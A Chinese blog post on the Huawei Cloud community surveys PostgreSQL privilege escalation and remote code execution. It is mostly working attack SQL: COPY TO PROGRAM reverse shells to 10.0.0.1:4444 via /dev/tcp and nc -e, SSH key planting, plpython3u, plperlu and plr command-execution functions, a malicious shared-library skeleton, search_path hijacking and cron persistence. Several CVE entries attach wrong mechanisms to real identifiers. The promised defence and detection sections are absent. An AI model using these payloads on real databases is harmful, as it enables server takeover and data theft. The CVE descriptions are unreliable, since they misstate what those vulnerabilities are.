PostgreSQL 提权与 RCE 全景

举报
yd_278325498 发表于 2026/11/14 23:11:44 2026/11/14
【摘要】 PostgreSQL 提权与 RCE 全景本文系统梳理 PostgreSQL 中从普通用户到超级用户(提权)、从数据库连接到操作系统命令执行(RCE)的攻击面与防御面。面向 DBA、安全工程师与红队研究者,旨在建立完整的攻防认知地图。 目录基础概念与权限模型认证阶段攻击面提权技术全景RCE 技术全景文件读写能力从文件读写到 RCE 的桥接CVE 历史漏洞精选防御体系构建检测与应急速查矩阵 ...

PostgreSQL 提权与 RCE 全景

本文系统梳理 PostgreSQL 中从普通用户到超级用户(提权)、从数据库连接到操作系统命令执行(RCE)的攻击面与防御面。面向 DBA、安全工程师与红队研究者,旨在建立完整的攻防认知地图。


目录

  1. 基础概念与权限模型
  2. 认证阶段攻击面
  3. 提权技术全景
  4. RCE 技术全景
  5. 文件读写能力
  6. 从文件读写到 RCE 的桥接
  7. CVE 历史漏洞精选
  8. 防御体系构建
  9. 检测与应急
  10. 速查矩阵

1. 基础概念与权限模型

1.1 角色层级

┌─────────────────────────────────────────────┐
│  Superuser (superuser=true)                 │
│  绕过所有权限检查,可执行任意操作            │
├─────────────────────────────────────────────┤
│  有特定属性的角色                            │
│  CREATEROLE / CREATEDB / REPLICATION /      │
│  BYPASSRLS                                  │
├─────────────────────────────────────────────┤
│  普通角色                                   │
│  仅拥有被显式授予的权限                      │
└─────────────────────────────────────────────┘

1.2 关键权限属性

属性 含义 提权价值
SUPERUSER 绕过所有权限检查 终极目标
CREATEROLE 可创建新角色 可创建高权限角色(受版本限制)
CREATEDB 可创建数据库 可在可信数据库中创建对象
REPLICATION 可建立流复制连接 可读取所有 WAL 数据
BYPASSRLS 绕过行级安全策略 可读取受 RLS 保护的数据
INHERIT 自动继承父角色权限 权限传播路径

1.3 SECURITY DEFINER 机制

SECURITY DEFINER 函数以定义者身份执行,而非调用者。这是 PostgreSQL 中最危险的提权跳板之一——如果超级用户定义了一个 SECURITY DEFINER 函数且搜索路径可控,普通用户调用时即可获得超级用户权限上下文。


2. 认证阶段攻击面

2.1 trust 认证

pg_hba.conf 中配置为 trust 的连接允许任意用户无密码登录。如果攻击者能到达数据库端口(通常 5432),可直接以超级用户身份连接:

# TYPE  DATABASE        USER            ADDRESS                 METHOD
local   all             all                                     trust
host    all             all             0.0.0.0/0               trust

危害:直接以 postgres 身份登录,无需任何提权步骤。

2.2 md5 认证与离线破解

md5 认证方式使用 md5(password + username) 作为哈希。该方案存在固有弱点:

  • 哈希不加盐,同一用户在所有数据库中哈希相同
  • 可离线暴力破解
  • 可预计算特定用户名的彩虹表

防御:迁移到 scram-sha-256(PostgreSQL 10+ 默认)。

2.3 SCRAM-SHA-256 的安全性

PostgreSQL 10 引入 scram-sha-256,使用 PBKDF2 迭代 + 随机盐 + 通道绑定。安全性显著优于 md5,但仍需注意:

  • 迭代次数默认较低(建议提高至 10000+)
  • 通道绑定(channel binding)可防止中间人攻击,但需客户端支持

2.4 认证绕过 CVE

  • CVE-2024-7348:Amcheck 扩展在特定条件下可绕过认证检查(影响 PG 14-16)
  • 历史上 pg_hba.conf 配置错误(如 all 匹配范围过大)是最常见的认证面暴露

3. 提权技术全景

3.1 CREATEROLE 利用

拥有 CREATEROLE 属性的角色可创建新角色。在 PostgreSQL 16 之前,CREATEROLE 角色可以授予自己任意属性(包括 SUPERUSER),这是一个长期被诟病的设计:

-- 攻击者拥有 CREATEROLE 但非 SUPERUSER
CREATE ROLE attacker_super WITH SUPERUSER LOGIN PASSWORD 'x';
SET ROLE attacker_super;
-- 现在是超级用户

PostgreSQL 16 修复:CREATEROLE 不再能授予 SUPERUSER、REPLICATION、BYPASSRLS 等高危属性。但仍可授予 CREATEDB 等属性,需持续关注。

3.2 SECURITY DEFINER 函数滥用

场景:搜索路径劫持

-- 超级用户创建了这样一个函数
CREATE FUNCTION get_user_count() RETURNS integer
LANGUAGE plpgsql
SECURITY DEFINER
AS $$
DECLARE count integer;
BEGIN
  SELECT count(*) INTO count FROM users;  -- 未限定 schema
  RETURN count;
END;
$$;

-- 攻击者操作
CREATE SCHEMA evil;
SET search_path = evil, public;

-- 在 evil schema 中创建同名的假表或函数
CREATE TABLE evil.users AS SELECT 1;  -- 劫持表引用

-- 调用函数时,以超级用户身份执行,但引用了攻击者控制的 evil.users
SELECT get_user_count();

防御:所有 SECURITY DEFINER 函数必须在函数体内完全限定 schema(如 public.users),并在函数定义中锁定 search_path:

ALTER FUNCTION get_user_count() SET search_path = public, pg_temp;

场景:参数注入

-- 脆弱函数:动态 SQL 拼接用户输入
CREATE FUNCTION exec_query(table_name text) RETURNS void
LANGUAGE plpgsql SECURITY DEFINER
AS $$
BEGIN
  EXECUTE 'GRANT SELECT ON ' || table_name || ' TO app_user';
END;
$$;

-- 攻击者调用
SELECT exec_query('secrets; GRANT SELECT ON admin_keys TO attacker --');

3.3 利用 pg_execute_server_program

PostgreSQL 11 引入了 pg_execute_server_program 预定义角色,授予后可使用 COPY ... TO/FROM PROGRAM 执行操作系统命令:

-- 如果攻击者获得此权限
GRANT pg_execute_server_program TO app_user;

-- 直接 RCE
COPY (SELECT 1) TO PROGRAM 'id > /tmp/pwned';

关键:在 PG 11+ 中,COPY ... PROGRAM 不再仅限超级用户,而是可通过此角色授予。默认仅超级用户拥有。

3.4 利用 pg_read_server_files / pg_write_server_files

PostgreSQL 11 引入的文件读写预定义角色:

GRANT pg_read_server_files TO app_user;   -- 可读任意文件
GRANT pg_write_server_files TO app_user;  -- 可写任意文件

拥有 pg_write_server_files 的角色可写入 ~/.ssh/authorized_keys 或覆盖 PostgreSQL 共享库,实现提权到操作系统用户。

3.5 利用 REPLICATION 权限

REPLICATION 角色可建立逻辑/物理复制连接。通过逻辑复制:

-- 创建逻辑复制槽,持续接收 WAL
-- 可读取所有表变更数据,包括敏感数据
SELECT * FROM pg_create_logical_replication_slot('evil_slot', 'test_decoding');

物理复制连接可获取完整 WAL 流,进而重建整个数据库内容。REPLICATION 本身不等于超级用户,但泄露所有数据。

3.6 利用扩展安装

如果非超级用户被授予 CREATE EXTENSION 能力(通常需要超级用户,但某些配置下可被绕过),可安装恶意扩展实现任意代码执行:

CREATE EXTENSION malicious_ext;  -- 加载 .so 共享库

3.7 利用 ALTER SYSTEM

ALTER SYSTEM 修改服务器配置参数。超级用户可执行:

-- 修改配置以加载恶意库
ALTER SYSTEM SET shared_preload_libraries = 'evil';
SELECT pg_reload_conf();

非超级用户无法直接执行 ALTER SYSTEM,但如果能写入 postgresql.auto.conf(通过文件写权限),效果相同。

3.8 利用临时 schema 与 search_path

pg_temp schema 在会话中动态创建,排在 search_path 靠前位置时,攻击者可在其中创建对象劫持函数调用:

-- 如果 search_path 包含 pg_temp 且靠前
CREATE FUNCTION pg_temp.my_function() RETURNS void AS $$
  -- 恶意代码
$$ LANGUAGE plpgsql;

3.9 利用 pg_largeobject

大对象接口允许读写数据库内的大对象。如果超级用户创建了包含敏感数据的大对象,普通用户通过 lo_import / lo_export 可将其导出到文件系统:

-- 将文件导入为大对象
SELECT lo_import('/etc/postgresql/13/main/postgresql.conf', 16384);
-- 读取大对象内容
SELECT loread(lo_open(16384, 262144), 10000);
-- 导出大对象到文件系统
SELECT lo_export(16384, '/tmp/config_dump');

4. RCE 技术全景

4.1 COPY … TO/FROM PROGRAM

最直接的 RCE 路径。需要超级用户或 pg_execute_server_program 角色成员。

-- 执行命令并捕获输出
CREATE TABLE cmd_output(line text);
COPY cmd_output FROM PROGRAM 'whoami';
SELECT * FROM cmd_output;

-- 反弹 shell
COPY (SELECT 1) TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"';

-- 写入 SSH 公钥
COPY (SELECT 'ssh-rsa AAAA... attacker@evil') TO PROGRAM 'cat >> ~/.ssh/authorized_keys';

前提条件:

  • 超级用户权限,或
  • pg_execute_server_program 角色成员,或
  • CVE 导致的权限绕过

4.2 PL/Python (PL/PythonU)

非受信的 Python 过程语言,可执行任意 Python 代码:

CREATE OR REPLACE FUNCTION rce(cmd text) RETURNS text
LANGUAGE plpython3u
AS $$
import subprocess
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout + result.stderr
$$;

SELECT rce('id');
-- uid=114(postgres) gid=120(postgres) groups=120(postgres)

注意:

  • plpython3u(untrusted)无沙箱,可执行任意系统调用
  • plpythonu(Python 2 版本,已废弃)同理
  • 安装需要超级用户:CREATE EXTENSION plpython3u;
  • 一旦安装,任何能创建该语言函数的角色均可 RCE

4.3 PL/Perl (PL/PerlU)

非受信任的 Perl 过程语言:

CREATE OR REPLACE FUNCTION rce_perl(cmd text) RETURNS text
LANGUAGE plperlu
AS $$
my $output = `$cmd`;
return $output;
$$;

SELECT rce_perl('cat /etc/shadow');

受信任版本 plperl 限制了 require、use 等操作,但历史上多次被绕过。

4.4 PL/R

R 语言过程语言,同样无沙箱:

CREATE OR REPLACE FUNCTION rce_r(cmd text) RETURNS text
LANGUAGE plr
AS $$
system(cmd)
$$;

SELECT rce_r('nc -e /bin/bash 10.0.0.1 4444');

4.5 共享库加载

方式一:CREATE EXTENSION

-- 需要先将有恶意 .so 文件放入 lib 目录
CREATE EXTENSION evil_ext;

方式二:session_preload_libraries / shared_preload_libraries

-- 超级用户可设置
ALTER SYSTEM SET session_preload_libraries = 'evil';
SELECT pg_reload_conf();
-- 新连接加载 evil.so

方式三:通过文件写入 + 重载

如果攻击者有文件写权限但非超级用户:

-- 1. 写入恶意 .so 到 PostgreSQL lib 目录
SELECT pg_write_file('/usr/lib/postgresql/13/lib/evil.so', <binary_data>);
-- 2. 通过崩溃后的自动重启加载(如果配置了自动重启)
-- 或等待管理员重启

4.6 通过 lo_export 写入 + 共享库加载

-- 1. 构造恶意 .so 的字节流
-- 2. 创建大对象并写入
SELECT lo_from_bytea(0, <malicious_so_bytes>);
-- 3. 导出到文件系统
SELECT lo_export(<oid>, '/tmp/evil.so');
-- 4. 加载(需要 CREATE EXTENSION 或配置修改能力)

4.7 通过外部数据包装器(FDW)

如果配置了 postgres_fdw 连接到攻击者控制的 PostgreSQL 实例:

-- 攻击者控制的远程服务器上定义了恶意函数
CREATE FOREIGN TABLE ft_rce (cmd text)
  SERVER evil_server OPTIONS (table_name 'rce_table');
-- 通过 FDW 间接执行远程函数

某些 FDW(如 file_fdw)可直接读取服务器文件,配合其他技术实现 RCE。

4.8 通过触发器执行

-- 在已有 SECURITY DEFINER 函数的基础上
CREATE TRIGGER evil_trigger AFTER INSERT ON some_table
FOR EACH ROW EXECUTE FUNCTION vulnerable_sec_definer_func();
-- 触发执行
INSERT INTO some_table VALUES (1);

4.9 通过事件触发器

-- 事件触发器在 DDL 事件时执行
CREATE EVENT TRIGGER evil_event
  ON ddl_command_end
  EXECUTE FUNCTION rce_function();
-- 任何 DDL 操作触发
CREATE TABLE dummy (id int);

5. 文件读写能力

文件读写是提权到 RCE 的关键桥梁。PostgreSQL 提供多种文件读写途径:

5.1 超级用户专用函数

-- 读取文本文件
SELECT pg_read_file('/etc/passwd');
SELECT pg_read_file('/etc/passwd', 0, 100);  -- offset, length

-- 读取二进制文件
SELECT pg_read_binary_file('/etc/shadow');

-- 写入文件(PG 11+,需要超级用户或 pg_write_server_files)
SELECT pg_write_file('/tmp/test', 'hello world');

5.2 COPY … TO/FROM 文件

-- 读取文件到表
CREATE TABLE file_content(line text);
COPY file_content FROM '/etc/passwd';
SELECT * FROM file_content;

-- 写入表内容到文件
COPY (SELECT 'malicious content') TO '/tmp/evil';

5.3 大对象接口

-- 读取文件
SELECT lo_import('/etc/passwd');                    -- 返回 OID
SELECT loread(lo_open(<oid>, 262144), 1000000);     -- 读取内容

-- 写入文件
SELECT lo_from_bytea(0, 'content');                 -- 创建大对象
SELECT lo_export(<oid>, '/tmp/output');             -- 导出到文件

5.4 临时文件信息泄露

PostgreSQL 在执行大型排序、哈希操作时会创建临时文件。在特定条件下,这些文件可能包含敏感数据,且文件路径可预测。

5.5 日志文件读取

-- 如果日志文件路径已知且有读权限
SELECT pg_read_file('log/postgresql-2024-01-15.log');
-- 日志中可能包含查询明文(含密码、密钥等)

6. 从文件读写到 RCE 的桥接

6.1 经典路径:写 .so → 加载 → RCE

文件写权限
    │
    ├─→ 写入恶意 .so 到 lib 目录
    │       │
    │       └─→ CREATE EXTENSION / preload_libraries → RCE
    │
    ├─→ 写入 ~/.ssh/authorized_keys
    │       │
    │       └─→ SSH 登录 → RCE(操作系统层)
    │
    ├─→ 覆盖 postgresql.auto.conf
    │       │
    │       └─→ 设置 shared_preload_libraries → 重启 → RCE
    │
    └─→ 覆盖 PostgreSQL 二进制或脚本
            │
            └─→ 下次启动/调用 → RCE

6.2 写 .so 的具体步骤

  1. 构造恶意共享库:编写 C 代码,实现 _PG_init 函数,在加载时执行任意代码
  2. 编译为 .so:gcc -shared -fPIC -o evil.so evil.c -I$(pg_config --includedir)
  3. 写入文件系统:通过 pg_write_file 或 lo_export 将 .so 写入 lib 目录
  4. 触发加载:CREATE EXTENSION 或修改 shared_preload_libraries 并重载

恶意 .so 的最小骨架:

#include "postgres.h"
#include "fmgr.h"

void _PG_init(void) {
    system("id > /tmp/pwned");
}

6.3 覆盖配置文件路径

-- 写入 postgresql.auto.conf(ALTER SYSTEM 的底层文件)
SELECT pg_write_file(
  '/var/lib/postgresql/13/main/postgresql.auto.conf',
  "shared_preload_libraries = 'evil'\n"
);
-- 等待重启或触发崩溃

6.4 通过 Cron 持久化

如果 PostgreSQL 运行用户对 /etc/cron.d/ 或用户 crontab 有写权限:

COPY (SELECT '*/1 * * * * postgres /tmp/evil.sh') TO '/etc/cron.d/persistence';

7. CVE 历史漏洞精选

7.1 CVE-2019-9193 — COPY PROGRAM 权限文档误导

影响:PostgreSQL 9.3+ 文档暗示 COPY ... PROGRAM 需要超级用户,但实际实现中,任何能执行 COPY 的角色在某些配置下均可执行 PROGRAM。

本质:文档与实现不一致导致的权限误判。虽然后续版本修复了文档,但许多管理员基于错误文档配置了权限。

7.2 CVE-2018-10925 — 逻辑复制权限绕过

影响:PostgreSQL 10.0-10.4

本质:逻辑复制初始表数据同步阶段未正确检查权限,普通用户可通过创建逻辑复制订阅读取无权访问的表数据。

利用:

-- 攻击者控制的发布端
CREATE PUBLICATION evil_pub FOR TABLE secrets;

-- 受害端(普通用户)
CREATE SUBSCRIPTION evil_sub
  CONNECTION 'host=attacker.com ...'
  PUBLICATION evil_pub;
-- 受害端将 secrets 表数据发送到攻击者

7.3 CVE-2019-10164 — 内存损坏导致 RCE

影响:PostgreSQL 10.x(10.0-10.3)、11.x(11.0-11.2)

本质:在处理特定类型的窗口函数时存在内存越界写入,可导致代码执行。需要精心构造查询触发。

7.4 CVE-2024-7348 — 扩展安装绕过

影响:PostgreSQL 14-16(Amcheck 扩展)

本质:Amcheck 扩展的安装脚本在特定条件下可绕过超级用户检查,允许非超级用户加载扩展实现代码执行。

7.5 CVE-2021-32029 — 索引表达式沙箱逃逸

影响:PostgreSQL 11-13

本质:在特定配置下,非超级用户可通过精心构造的索引表达式调用受限函数,绕过沙箱限制。

7.6 CVE-2020-25692 — 数据库链接密码泄露

影响:PostgreSQL 11-13

本质:在特定条件下,普通用户可查看其他用户创建的数据库链接(dblink)的连接密码。

7.7 CVE-2022-1552 — libpq 连接字符串注入

影响:PostgreSQL 14

本质:在特定客户端配置下,连接字符串中的特殊字符可被注入,导致连接到攻击者控制的服务器。

7.8 CVE-2023-39418 — 行安全策略绕过

影响:PostgreSQL 15

本质:在特定查询条件下,行安全策略(RLS)可被绕过,普通用户可读取受保护行。

7.9 漏洞趋势总结

年份 漏洞类型 数量趋势 核心模式
2018-2019 权限绕过 高 逻辑复制、COPY PROGRAM
2020-2021 沙箱逃逸 中 索引表达式、PL 语言
2022-2023 信息泄露 中 连接字符串、RLS 绕过
2024 扩展绕过 低 Amcheck、认证检查

规律:随着 PostgreSQL 安全模型日趋完善(PG 11 预定义角色、PG 16 CREATEROLE 收紧),漏洞利用门槛持续提高,但扩展生态和配置错误仍是主要攻击面。

【声明】本内容来自华为云开发者社区博主,不代表华为云及华为云开发者社区的观点和立场。转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息,否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0)

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。